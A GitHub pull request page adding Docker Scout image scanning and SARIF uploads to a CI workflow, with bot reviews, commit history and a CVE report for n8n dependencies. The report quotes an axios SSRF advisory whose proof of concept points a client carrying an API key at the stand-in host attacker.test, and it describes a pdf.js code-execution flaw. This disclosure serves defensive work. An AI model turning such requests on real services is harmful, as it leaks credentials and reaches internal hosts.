Skip to content

Conversation

killev
Copy link
Contributor

@killev killev commented Apr 18, 2025

  • Add Docker Scout job to scan container images for vulnerabilities
  • Build and scan both n8n and temporal Docker images
  • Generate SARIF reports for security findings
  • Upload scan results to GitHub using CodeQL action

Summary by CodeRabbit

  • Chores
    • Added automated vulnerability scanning for Docker images, with results uploaded to GitHub for review.
    • Updated the ignore list to exclude JetBrains IDE project files and Docker scan report files from version control.

killev added 4 commits April 18, 2025 06:48
…tion with documentation.

- Added GitHub Actions workflow with Dockerfile linting
- Created Dockerfiles for n8n and Temporal services
- Added docker-compose.yml for orchestration
- Updated .gitignore to exclude volumes
- Enhanced README with setup instructions
- Add Docker Scout job to scan container images for vulnerabilities
- Build and scan both n8n and temporal Docker images
- Generate SARIF reports for security findings
- Upload scan results to GitHub using CodeQL action
@Copilot Copilot AI review requested due to automatic review settings April 18, 2025 05:21
Copy link
Contributor

@Copilot Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull Request Overview

This PR introduces a Docker security check by adding a Docker Scout job for vulnerability scanning and generating SARIF reports for n8n and Temporal images. Key changes include:

  • Adding a new docker-compose configuration file for n8n and Temporal services.
  • Updating the README with detailed usage instructions.
  • Enhancing the GitHub workflows with Docker scanning and linting steps to improve security analysis.

Reviewed Changes

Copilot reviewed 4 out of 6 changed files in this pull request and generated no comments.

File Description
docker-compose.yml Added service definitions for n8n and Temporal services
README.md Updated documentation with setup, usage, and troubleshooting instructions
.github/workflows/code-quality.yml Added new jobs for Dockerfile linting and Docker security scanning
Files not reviewed (2)
  • Dockerfile.n8n: Language not supported
  • Dockerfile.temporal: Language not supported

Copy link

coderabbitai bot commented Apr 18, 2025

Walkthrough

A new job named docker-scout was added to the .github/workflows/code-quality.yml GitHub Actions workflow. This job depends on the completion of the hadolint job and is responsible for building Docker images from Dockerfile.n8n and Dockerfile.temporal, scanning them for vulnerabilities using Docker Scout, and uploading the resulting SARIF reports to GitHub. Additionally, .gitignore was updated to exclude JetBrains IDE project files and the generated SARIF scan report files.

Changes

File(s) Change Summary
.github/workflows/code-quality.yml Added a new docker-scout job to build Docker images, scan for vulnerabilities with Docker Scout, and upload SARIF reports.
.gitignore Added .idea/ to ignore JetBrains IDE project files and added n8n-scan.sarif, temporal-scan.sarif to ignore generated scan reports.

Sequence Diagram(s)

sequenceDiagram
    participant GitHub Actions
    participant hadolint Job
    participant docker-scout Job
    participant Docker Buildx
    participant Docker Scout
    participant GitHub (SARIF upload)

    GitHub Actions->>hadolint Job: Run hadolint job
    hadolint Job-->>GitHub Actions: Complete
    GitHub Actions->>docker-scout Job: Start after hadolint
    docker-scout Job->>Docker Buildx: Build Dockerfile.n8n (n8n-test:latest)
    docker-scout Job->>Docker Buildx: Build Dockerfile.temporal (temporal-test:latest)
    docker-scout Job->>Docker Scout: Scan n8n-test:latest, output n8n-scan.sarif
    docker-scout Job->>Docker Scout: Scan temporal-test:latest, output temporal-scan.sarif
    docker-scout Job->>GitHub (SARIF upload): Upload n8n-scan.sarif (category: n8n)
    docker-scout Job->>GitHub (SARIF upload): Upload temporal-scan.sarif (category: temporal)
Loading

Possibly related PRs

  • speedandfunction/automatization#1: Introduces the initial code quality workflow with a basic linting job; both PRs modify .github/workflows/code-quality.yml to add new jobs.
  • speedandfunction/automatization#4: Adds Dockerfiles and a hadolint job for n8n and temporal services; this PR extends the CI pipeline by adding vulnerability scanning for these Docker images.

Suggested reviewers

  • sadmoondog

📜 Recent review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between b67f654 and 1ec80e2.

📒 Files selected for processing (1)
  • .github/workflows/code-quality.yml (1 hunks)
🚧 Files skipped from review as they are similar to previous changes (1)
  • .github/workflows/code-quality.yml

🪧 Tips

Chat

There are 3 ways to chat with CodeRabbit:

  • Review comments: Directly reply to a review comment made by CodeRabbit. Example:
    • I pushed a fix in commit <commit_id>, please review it.
    • Generate unit testing code for this file.
    • Open a follow-up GitHub issue for this discussion.
  • Files and specific lines of code (under the "Files changed" tab): Tag @coderabbitai in a new review comment at the desired location with your query. Examples:
    • @coderabbitai generate unit testing code for this file.
    • @coderabbitai modularize this function.
  • PR comments: Tag @coderabbitai in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
    • @coderabbitai gather interesting stats about this repository and render them as a table. Additionally, render a pie chart showing the language distribution in the codebase.
    • @coderabbitai read src/utils.ts and generate unit testing code.
    • @coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.
    • @coderabbitai help me debug CodeRabbit configuration file.

Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments.

CodeRabbit Commands (Invoked using PR comments)

  • @coderabbitai pause to pause the reviews on a PR.
  • @coderabbitai resume to resume the paused reviews.
  • @coderabbitai review to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
  • @coderabbitai full review to do a full review from scratch and review all the files again.
  • @coderabbitai summary to regenerate the summary of the PR.
  • @coderabbitai generate docstrings to generate docstrings for this PR.
  • @coderabbitai resolve resolve all the CodeRabbit review comments.
  • @coderabbitai configuration to show the current CodeRabbit configuration for the repository.
  • @coderabbitai help to get help.

Other keywords and placeholders

  • Add @coderabbitai ignore anywhere in the PR description to prevent this PR from being reviewed.
  • Add @coderabbitai summary to generate the high-level summary at a specific location in the PR description.
  • Add @coderabbitai anywhere in the PR title to generate the title automatically.

CodeRabbit Configuration File (.coderabbit.yaml)

  • You can programmatically configure CodeRabbit by adding a .coderabbit.yaml file to the root of your repository.
  • Please see the configuration documentation for more information.
  • If your editor has YAML language server enabled, you can add the path at the top of this file to enable auto-completion and validation: # yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json

Documentation and Community

  • Visit our Documentation for detailed information on how to use CodeRabbit.
  • Join our Discord Community to get help, request features, and share feedback.
  • Follow us on X/Twitter for updates and announcements.

@killev killev changed the title Add docker security check Add Docker Scout security scanning to CI workflow Apr 18, 2025
@killev killev changed the base branch from main to add-docker-configuration April 18, 2025 05:21
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Caution

Inline review comments failed to post. This is likely due to GitHub's limits when posting large numbers of comments. If you are seeing this consistently it is likely a permissions issue. Please check "Moderation" -> "Code review limits" under your organization settings.

Actionable comments posted: 2

🧹 Nitpick comments (16)
.gitignore (1)

137-137: Refine the .gitignore pattern for persistent volumes.
The entry volumes will ignore any file or directory named volumes anywhere in the repo. If the intention is to ignore only ./volumes/ at the root, anchor the pattern:

- volumes
+ /volumes/
Dockerfile.n8n (1)

1-1: Consider pinning the base image to a digest for immutability.
Tag-based pins (e.g., 1.22.0) can shift under the hood. Using a SHA256 digest ensures you always get the exact same image:

FROM n8nio/n8n:1.22.0@sha256:<digest>
Dockerfile.temporal (2)

1-1: Consider pinning to a digest for reproducible builds.
Floating tags can change; use a digest to lock the image:

FROM temporalio/auto-setup:1.20@sha256:<digest>

17-18: Explicitly qualify the exposed port protocol.
For clarity, specify tcp:

EXPOSE 7233/tcp
README.md (2)

35-35: Rephrase for conciseness.
Consider a tighter phrasing:

- If you've made changes to the Dockerfiles, you'll need to rebuild the images:
+ After updating the Dockerfiles, rebuild the images:
🧰 Tools
🪛 LanguageTool

[style] ~35-~35: Consider shortening or rephrasing this to strengthen your wording.
Context: ... ### Building custom images If you've made changes to the Dockerfiles, you'll need to rebuild...

(MAKE_CHANGES)


64-65: Avoid bare URLs.
Wrap service endpoints in Markdown links or angle brackets to satisfy MD034:

- - **n8n**: http://localhost:5678
- - **Temporal UI**: http://localhost:8080
+ - **n8n**: [http://localhost:5678](http://localhost:5678)
+ - **Temporal UI**: [http://localhost:8080](http://localhost:8080)
🧰 Tools
🪛 markdownlint-cli2 (0.17.2)

64-64: Bare URL used
null

(MD034, no-bare-urls)


65-65: Bare URL used
null

(MD034, no-bare-urls)

.github/workflows/code-quality.yml (3)

32-32: Remove trailing whitespace for YAML compliance.
Lines 32 and 43 contain only spaces, triggering YAML lint errors. Delete the spaces so they're truly blank lines.

Also applies to: 43-43

🧰 Tools
🪛 YAMLlint (1.35.1)

[error] 32-32: trailing spaces

(trailing-spaces)


15-18: DRY up duplicate checkout steps.
Each job repeats:

- name: Checkout code
  uses: actions/checkout@v4

Consider moving this into a reusable workflow or composite action to reduce duplication and ensure consistency.

Also applies to: 24-29, 37-43, 49-54


17-18: Implement real linting or remove the stub.
The lint job currently runs echo "Linting...". Either replace it with actual lint commands (e.g., ESLint, Prettier) or remove the placeholder if not needed.

docker-compose.yml (7)

1-2: Declare Compose file version for clarity
Although Compose v2 infers the version, explicitly stating it (e.g., "3.8") helps ensure compatibility with newer features and tooling.

Apply this diff:

- services:
+ version: "3.8"
+ services:

3-15: Add container name and restart policy to n8n service
For consistency with other services and to make local debugging more resilient, add an explicit container_name and a restart: unless-stopped policy.

   n8n:
-    build:
+    container_name: n8n
+    restart: unless-stopped
+    build:
       context: .
       dockerfile: Dockerfile.n8n

17-35: Introduce healthcheck and restart policy for Elasticsearch
Adding a healthcheck ensures Temporal doesn’t start before OpenSearch is ready. Also, include a restart policy to auto‑recover on failure.

   elasticsearch:
     container_name: temporal-elasticsearch
+    restart: unless-stopped
     image: opensearchproject/opensearch:2.5.0
+    healthcheck:
+      test: ["CMD-SHELL", "curl -s http://localhost:9200/_cluster/health | grep -q '\"status\":\"green\"'"]
+      interval: 30s
+      timeout: 10s
+      retries: 5
     environment:
       - discovery.type=single-node
       - bootstrap.memory_lock=true

37-49: Introduce healthcheck and restart policy for PostgreSQL
A healthcheck with pg_isready will prevent race conditions, and a restart policy improves fault tolerance.

   postgresql:
     container_name: temporal-postgresql
+    restart: unless-stopped
     image: postgres:14
+    healthcheck:
+      test: ["CMD-SHELL", "pg_isready -U temporal"]
+      interval: 30s
+      timeout: 10s
+      retries: 5
     environment:
       POSTGRES_USER: temporal
       POSTGRES_PASSWORD: temporal

51-63: Add restart policy to Temporal service
Ensuring the Temporal server restarts automatically on failure will improve local environment stability.

   temporal:
     container_name: temporal
+    restart: unless-stopped
     build:
       context: .
       dockerfile: Dockerfile.temporal

64-76: Add restart policy to Temporal UI service
Applying a restart policy here completes the resilience strategy across all core services.

   temporal-ui:
     container_name: temporal-ui
+    restart: unless-stopped
     image: temporalio/ui:2.10.3
     depends_on:
       - temporal

77-96: Standardize volume naming
The volume keys mix underscores and hyphens (n8n_data vs. elasticsearch-data). Consider picking one convention (e.g., all hyphens) to improve readability and consistency.

🛑 Comments failed to post (2)
Dockerfile.temporal (1)

4-11: 🛠️ Refactor suggestion

Avoid hardcoding sensitive credentials in the Dockerfile.
Embedding POSTGRES_USER and POSTGRES_PWD in the image history leaks secrets. Instead, remove them from the ENV and supply via runtime (e.g., Docker Compose environment or .env file):

- ENV POSTGRES_USER=temporal \
-     POSTGRES_PWD=temporal \

Then in docker-compose.yml:

services:
  temporal:
    environment:
      - POSTGRES_USER=${TEMPORAL_DB_USER}
      - POSTGRES_PWD=${TEMPORAL_DB_PWD}
docker-compose.yml (1)

97-99: ⚠️ Potential issue

Fix trailing whitespace and ensure newline at EOF
YAML lint flags a trailing space on driver: bridge  (line 99) and requires a final newline.

 networks:
   app-network:
-    driver: bridge 
+    driver: bridge

(Also ensure the file ends with a newline.)

📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

networks:
  app-network:
    driver: bridge
🧰 Tools
🪛 YAMLlint (1.35.1)

[error] 99-99: no new line character at the end of file

(new-line-at-end-of-file)


[error] 99-99: trailing spaces

(trailing-spaces)

killev added 19 commits April 18, 2025 07:33
- Replace direct path mapping for n8n_data volume with named volume reference
- Replace direct path mapping for elasticsearch-data volume with named volume reference
- Replace direct path mapping for postgresql-data volume with named volume reference
- Enhanced Dockerfiles with explicit non-root users for n8n and Temporal
- Added health check endpoints and metrics configuration to n8n
- Improved healthcheck commands with proper shell form in Dockerfiles
- Added service dependencies with health conditions in docker-compose.yml
- Created check_services.sh script to verify all services accessibility
- Added PostgreSQL and Elasticsearch healthcheck configurations
- Updated README with service health checking documentation
- Added IPC_LOCK capability for Elasticsearch container
- Added new 'service-check' job in GitHub workflow
- Implemented steps to build and start docker services for testing
- Added verification step using scripts/check_services.sh
- Included cleanup to ensure services are stopped after testing
- Changed Docker setup-buildx-action from v2 to v3
- Fixed step name from "Set up Docker Compose" to "Set up Docker Buildx"
- Changed healthcheck in Dockerfile.n8n from shell form to exec form for better practice
- Changed healthcheck in Dockerfile.temporal from shell form to exec form for better practi
Add scripts/setup_volumes.sh for creating required volume directories
Modify service-check job in code-quality.yml to run the volume setup script before testing
- Add 10-minute timeout for service-check job
- Ensure service cleanup runs even if previous steps fail with "if: always()"
- Add "-v" flag to docker compose down to remove volumes after tests
- Fix whitespace in SonarQube job
# Conflicts:
#	.github/workflows/code-quality.yml
- Update Docker Scout command format flags to use equals sign format
- Add scan result files to .gitignore to prevent accidental commits
* Replace direct Docker Scout CLI calls with official docker/scout-action@v1 GitHub Action

* Update n8n and temporal image scanning configuration to use action parameters
* Add GITHUB_TOKEN to Docker Scout scanning steps to resolve authentication issues

* Fix 'user githubactions not entitled to use Docker Scout' error
…onment variables

- Update n8n from 1.22.0 to 1.89.2 and change working directory
- Update Temporal from 1.20 to 1.20.5 and configure with environment variables
- Replace Elasticsearch with OpenSearch for Temporal visibility
- Add environment variables for n8n and database configurations
- Improve container restart policies with unless-stopped
- Update documentation with volume setup instructions and troubleshooting
- Add .gitignore entries for mcp executable, config files and .cursor
- Fix volume paths and opensearch port mapping
…lthchecks

- Added .env.example file with configuration variables
- Enhanced Dockerfiles with ARG variables for better customization
- Updated healthchecks with improved parameters and container naming
- Fixed OpenSearch port mapping to match documentation
- Added missing healthcheck for temporal-ui service
- Improved volume permissions in setup_volumes.sh script
- Fixed README path reference to check_services.sh
…file

- Modified dockerfiles to reduce hardcoded values and use environment variables
- Updated docker-compose.yml to source ports and credentials from environment file
- Enhanced check_services.sh to read from .env instead of using hardcoded values
- Improved README.md with instructions for environment file setup
- Fixed container health checks to use the correct service addresses
- Add step to copy .env.example to .env in code-quality workflow
- Ensure environment configuration is available for Docker build process
- Add ARG N8N_PORT=5678 to properly define the port used in healthcheck and EXPOSE
- Simplify Docker rebuild instructions for better readability
- Fix code block formatting by specifying text language
- Format service URLs as proper markdown links with angle brackets
Base automatically changed from add-docker-configuration to main April 22, 2025 06:24
anatolyshipitz
anatolyshipitz previously approved these changes Apr 22, 2025
@anatolyshipitz anatolyshipitz enabled auto-merge (squash) April 22, 2025 08:24
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

🧹 Nitpick comments (2)
.github/workflows/code-quality.yml (2)

69-82: Pin Docker Scout action and consolidate scan steps
The Scan n8n image and Scan temporal image blocks duplicate logic. You can merge these into the same matrix used for builds. Also, instead of the floating @v1 tag, pin to a specific release (e.g., docker/[email protected]) to prevent unexpected breaking changes.


83-92: Ensure SARIF uploads on failure and reduce duplication
The SARIF upload steps mirror each other for n8n and temporal. They can also be driven by a matrix. Additionally, add if: ${{ always() }} to these steps so reports are uploaded even if the scan step fails.

📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between fbe4ca8 and 6617ffe.

📒 Files selected for processing (2)
  • .github/workflows/code-quality.yml (1 hunks)
  • .gitignore (2 hunks)
🚧 Files skipped from review as they are similar to previous changes (1)
  • .gitignore
🧰 Additional context used
🪛 YAMLlint (1.35.1)
.github/workflows/code-quality.yml

[error] 43-43: trailing spaces

(trailing-spaces)

⏰ Context from checks skipped due to timeout of 90000ms (1)
  • GitHub Check: Service Availability Check
🔇 Additional comments (1)
.github/workflows/code-quality.yml (1)

44-48: Job placement and dependency look correct
The new docker-scout job is correctly inserted under jobs and depends on hadolint, ensuring Dockerfiles pass linting before being scanned. Naming and indentation align with existing jobs.

Copy link

@DenisChistyakov DenisChistyakov left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why we manually specify the exact version, instead of using latest?

@DenisChistyakov
Copy link

Approved

@killev
Copy link
Contributor Author

killev commented Apr 22, 2025

Why we manually specify the exact version, instead of using latest?

@DenisChistyakov because of security.

killev added 2 commits April 22, 2025 11:23
- Refactor Docker security scanning workflow to use matrix strategy for multiple images
- Remove duplicate build and scan steps for different Docker images
- Use dynamic service names and paths in workflow steps
- Remove ENV file containing SSH key
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 0

🔭 Outside diff range comments (1)
.github/workflows/code-quality.yml (1)

1-2: 🛠️ Refactor suggestion

Grant permissions for SARIF upload
Workflows that upload SARIF need write access to security events. Please add a top‑level permissions block:

 name: Code Quality
+permissions:
+  security-events: write
 on:
   pull_request:
🧹 Nitpick comments (1)
.github/workflows/code-quality.yml (1)

43-43: Remove trailing whitespace
Static analysis flagged trailing spaces on this empty line. Please remove them to satisfy YAML linting.

🧰 Tools
🪛 YAMLlint (1.35.1)

[error] 43-43: trailing spaces

(trailing-spaces)

📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 6617ffe and ba63d0a.

📒 Files selected for processing (1)
  • .github/workflows/code-quality.yml (1 hunks)
🧰 Additional context used
🪛 YAMLlint (1.35.1)
.github/workflows/code-quality.yml

[error] 43-43: trailing spaces

(trailing-spaces)

⏰ Context from checks skipped due to timeout of 90000ms (1)
  • GitHub Check: Service Availability Check
🔇 Additional comments (4)
.github/workflows/code-quality.yml (4)

45-57: Approve the matrix-based Docker Scout job
The new docker-scout job leverages a matrix to iterate over services (n8n and temporal), eliminating duplication and making it easy to extend to additional images in the future.


58-69: Approve the Docker image build setup
Steps for setting up Buildx and building the image locally (push: false, load: true) are correct and align with best practices for scanning without pushing to a registry.


70-76: Approve the Docker Scout scan step
Using docker/scout-action@v1 with the cves command and capturing a per-service SARIF file is well-structured.


77-81: Approve the SARIF upload step
Uploading each service’s SARIF report via github/codeql-action/upload-sarif@v2 with a dedicated category is correct for integrating these findings into GitHub’s security tab.

- Add Docker Hub login action with credentials
- Add summary output to security scan
- Set JSON output format for security scan
- Enable GitHub comment generation for scan results
Copy link

github-actions bot commented Apr 22, 2025

🔍 Vulnerabilities of n8n-test:latest

📦 Image Reference n8n-test:latest
digestsha256:2bd32c752ff2e6cb44b6e083b1de6fa60185f876baebcdcaaaa9b48892fe8b01
vulnerabilitiescritical: 1 high: 4 medium: 2 low: 0
platformlinux/amd64
size243 MB
packages1628
📦 Base Image node:20-alpine
also known as
  • 20-alpine3.21
  • 20.19-alpine
  • 20.19-alpine3.21
  • 20.19.0-alpine
  • 20.19.0-alpine3.21
  • iron-alpine
  • iron-alpine3.21
digestsha256:37a5a350292926f98d48de9af160b0a3f7fcb141566117ee452742739500a5bd
vulnerabilitiescritical: 0 high: 1 medium: 0 low: 0
critical: 1 high: 0 medium: 0 low: 0 stdlib 1.24.0 (golang)

pkg:golang/[email protected]

critical : CVE--2025--22871

Affected range>=1.24.0-0
<1.24.2
Fixed version1.24.2
EPSS Score0.015%
EPSS Percentile2nd percentile
Description

The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

critical: 0 high: 1 medium: 0 low: 0 pdfjs-dist 2.16.105 (npm)

pkg:npm/[email protected]

high 8.8: CVE--2024--4367

Affected range<=4.1.392
Fixed version4.2.67
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score31.904%
EPSS Percentile97th percentile
Description

Impact

If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain.

Patches

The patch removes the use of eval:
mozilla/pdf.js#18015

Workarounds

Set the option isEvalSupported to false.

References

https://bugzilla.mozilla.org/show_bug.cgi?id=1893645

critical: 0 high: 1 medium: 0 low: 0 axios 1.7.4 (npm)

pkg:npm/[email protected]

high 7.7: CVE--2025--27152 Server-Side Request Forgery (SSRF)

Affected range>=1.0.0
<1.8.2
Fixed version1.8.2
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.056%
EPSS Percentile18th percentile
Description

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.
critical: 0 high: 1 medium: 0 low: 0 semver 5.3.0 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2022--25883 Inefficient Regular Expression Complexity

Affected range<5.7.2
Fixed version5.7.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.308%
EPSS Percentile53rd percentile
Description

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

critical: 0 high: 1 medium: 0 low: 0 cross-spawn 7.0.3 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2024--21538 Inefficient Regular Expression Complexity

Affected range>=7.0.0
<7.0.5
Fixed version7.0.5
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.132%
EPSS Percentile34th percentile
Description

Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

critical: 0 high: 0 medium: 1 low: 0 snowflake-sdk 1.12.0 (npm)

pkg:npm/[email protected]

medium 4.4: CVE--2025--24791 Improper Preservation of Permissions

Affected range>=1.12.0
<=2.0.1
Fixed version2.0.2
CVSS Score4.4
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.012%
EPSS Percentile1st percentile
Description

Issue

Snowflake discovered and remediated a vulnerability in the Snowflake NodeJS Driver. File permissions checks of the temporary credential cache could be bypassed by an attacker with write access to the local cache directory.

This vulnerability affects versions 1.12.0 through 2.0.1 on Linux. Snowflake fixed the issue in version 2.0.2.

Vulnerability Details

On Linux, when either EXTERNALBROWSER or USERNAME_PASSWORD_MFA authentication methods are used with temporary credential caching enabled, the Snowflake NodeJS Driver will cache temporary credentials in a local file. Due to a bug, the check verifying that the cache file can be accessed only by the user running the Driver always succeeded, but didn’t verify the permissions or the ownership correctly. An attacker with write access to the local cache folder could plant an empty file there and the Driver would use it to store temporary credentials instead of rejecting it due to overly broad permissions.

Solution

Snowflake released version 2.0.2 of the Snowflake NodeJS Driver, which fixes this issue. We recommend users upgrade to version 2.0.2.

Additional Information

If you discover a security vulnerability in one of our products or websites, please report the issue to HackerOne. For more information, please see our Vulnerability Disclosure Policy.

critical: 0 high: 0 medium: 1 low: 0 @azure/identity 3.4.2 (npm)

pkg:npm/%40azure/[email protected]

medium 6.8: CVE--2024--35255 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Affected range<4.2.1
Fixed version4.2.1
CVSS Score6.8
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.116%
EPSS Percentile32nd percentile
Description

Azure Identity Libraries and Microsoft Authentication Library Elevation of Privilege Vulnerability.

@github-advanced-security
Copy link

This pull request sets up GitHub code scanning for this repository. Once the scans have completed and the checks have passed, the analysis results for this pull request branch will appear on this overview. Once you merge this pull request, the 'Security' tab will show more code scanning analysis results (for example, for the default branch). Depending on your configuration and choice of analysis tool, future pull requests will be annotated with code scanning analysis results. For more information about GitHub code scanning, check out the documentation.

- Removed trailing whitespace after Dockerfile.temporal linting step in code-quality.yml
Copy link

Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 0

🧹 Nitpick comments (2)
.github/workflows/code-quality.yml (2)

43-43: Remove trailing whitespace
Static analysis flagged trailing spaces on this empty line which can break YAML parsing. Please remove the trailing spaces.

🧰 Tools
🪛 YAMLlint (1.35.1)

[error] 43-43: trailing spaces

(trailing-spaces)


75-84: Scanning step configuration looks good
Leveraging the docker/scout-action@v1 to generate SARIF reports for CVEs integrates seamlessly with the CodeQL upload. If you require stricter enforcement, consider pinning to a specific minor version (e.g., @v1.2.0) to avoid unexpected changes in the action behavior.

📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between ba63d0a and b67f654.

📒 Files selected for processing (1)
  • .github/workflows/code-quality.yml (1 hunks)
🧰 Additional context used
🪛 YAMLlint (1.35.1)
.github/workflows/code-quality.yml

[error] 43-43: trailing spaces

(trailing-spaces)

⏰ Context from checks skipped due to timeout of 90000ms (2)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Service Availability Check
🔇 Additional comments (4)
.github/workflows/code-quality.yml (4)

44-53: Great use of a matrix to DRY up the docker-scout job
Implementing the matrix strategy for n8n and temporal avoids duplication and aligns with best practices.


58-66: Verify Docker Hub credentials and their necessity
You’re logging into Docker Hub before building the images. If your base images are public, you can remove this step; otherwise ensure that DOCKERHUB_USERNAME and DOCKERHUB_TOKEN are correctly set in the repository secrets with least-privilege access.


67-74: Build step is solid
Using docker/build-push-action@v5 with push: false and load: true correctly builds and loads the images locally for scanning.


85-89: SARIF upload step validated
The github/codeql-action/upload-sarif@v2 step correctly uploads the generated SARIF file with a distinct category per service.

@anatolyshipitz anatolyshipitz merged commit d512f88 into main Apr 22, 2025
9 checks passed
@anatolyshipitz anatolyshipitz deleted the add-docker-security-check branch April 22, 2025 09:54
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants